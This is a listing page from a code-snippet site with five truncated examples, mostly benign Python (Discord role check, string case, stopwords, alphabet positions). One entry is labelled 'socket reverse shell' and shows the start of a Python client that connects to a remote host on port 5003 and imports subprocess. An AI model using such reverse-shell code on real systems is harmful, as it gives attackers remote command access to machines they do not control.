What do you want to save?
Add Code snippet
New code examples
-
Python 2021-10-10 06:49:07
bot that only responds to certain roles discord.py
if message.content.lower().startswith('/role'): user = message.author if message.channel.is_private or discord.utils.get(user.roles, name="admin") is None: return role = discord.utils.get(user.server.roles, id="4379232... Add solution -
Python 2021-10-10 04:48:10
capitalize string python
# Python string capitalization string = "this isn't a #Standard Sntence." string.capitalize() # "This isn't a #standard sentence." string.upper() # "THIS ISN'T A #STANDARD SENTENCE." string.lower() # "this isn't a #stand... Add solution -
Shell/Bash 2021-10-08 19:49:10
socket reverse shell
import socket # client import subprocess import sys SERVER_HOST = 'ip' SERVER_PORT = 5003 BUFFER_SIZE = 1024 # create the socket object s = socket.socket() # connect to the server s.connect((SERVER_HOST, SERVER_PORT)) # receive the greeting message m... Add solution -
Python 2021-10-07 02:46:04
data processsing python
def filter(string): stopwords = ['their', 'during', 'doesn', "she's", 'ourselves', 'weren', 'll', 'has', 'had', 'we', 'not', 'if', 'will', 'such', 'needn', 'own', "isn't", "you'll", 'or', 'o', 'hadn', 'but', 'his', 'my'... Add solution -
Python 2021-10-04 20:34:02
position in alphabet python
from string import ascii_lowercase LETTERS = {letter: str(index) for index, letter in enumerate(ascii_lowercase, start=1)} def alphabet_position(text): text = text.lower() numbers = [LETTERS[character] for character in text if character in LETTE... Add solution